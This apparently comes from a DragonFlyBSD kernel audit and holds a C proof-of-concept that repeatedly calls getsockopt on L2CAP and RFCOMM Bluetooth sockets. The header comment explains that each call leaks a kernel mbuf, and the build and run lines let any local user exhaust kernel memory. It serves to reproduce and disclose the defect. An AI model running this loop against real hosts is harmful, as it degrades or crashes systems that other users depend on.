⬢ DragonFlyBSD Kernel Audit
DF-5758 / bt_getopt_leak.c
← back to finding ↓ download raw
/*
 * bt_getopt_leak.c - l2cap_ctloutput / rfcomm_ctloutput PRCO_GETOPT mbuf leak
 *
 * DF-5757: sys/netbt/l2cap_socket.c:119-132  - GETOPT success path never
 *          frees the m_get() mbuf (only the m_len==0 error path frees it).
 * DF-5758: sys/netbt/rfcomm_socket.c:116-127 - identical defect.
 *
 * For a valid option (SO_L2CAP_IMTU / SO_RFCOMM_MTU) the upper-layer getopt
 * returns sizeof(uint16_t)=2 != 0, so the error branch is skipped, the value
 * is copied to userspace - and the mbuf is leaked. 1 mbuf per getsockopt.
 *
 * Preconditions: netbt.ko loaded (admin action); then ANY local user.
 * No Bluetooth controller needed: socket+pcb exist right after socket(2).
 *
 * Build: cc -o bt_getopt_leak bt_getopt_leak.c
 * Run:   ./bt_getopt_leak [iters] [0=l2cap 1=rfcomm 2=both]
 */
#include <sys/socket.h>
#include <sys/types.h>
#include <netbt/bluetooth.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/* option names from sys/netbt/l2cap.h / rfcomm.h (avoid kernel-ish headers) */
#define SO_L2CAP_IMTU_OPT	1
#define SO_RFCOMM_MTU_OPT	1

static int
run_proto(int type, int proto, int opt, const char *name, long iters)
{
	int s = socket(AF_BLUETOOTH, type, proto);
	uint32_t val = 0;
	socklen_t len;
	long ok = 0, fail = 0, i;

	if (s < 0) {
		perror(name);
		return 1;
	}
	for (i = 0; i < iters; i++) {
		len = sizeof(val);
		if (getsockopt(s, proto, opt, &val, &len) == 0)
			ok++;
		else
			fail++;
	}
	printf("%s: iterations=%ld ok=%ld fail=%ld last_val=%u optlen=%u\n",
	       name, iters, ok, fail, val, (unsigned)len);
	close(s);
	return (fail == iters);
}

int
main(int argc, char **argv)
{
	long iters = (argc > 1) ? atol(argv[1]) : 10000;
	int which = (argc > 2) ? atoi(argv[2]) : 2;
	int rc = 0;

	if (which == 0 || which == 2)
		rc |= run_proto(SOCK_SEQPACKET, BTPROTO_L2CAP,
				SO_L2CAP_IMTU_OPT, "l2cap", iters);
	if (which == 1 || which == 2)
		rc |= run_proto(SOCK_STREAM, BTPROTO_RFCOMM,
				SO_RFCOMM_MTU_OPT, "rfcomm", iters);
	return rc;
}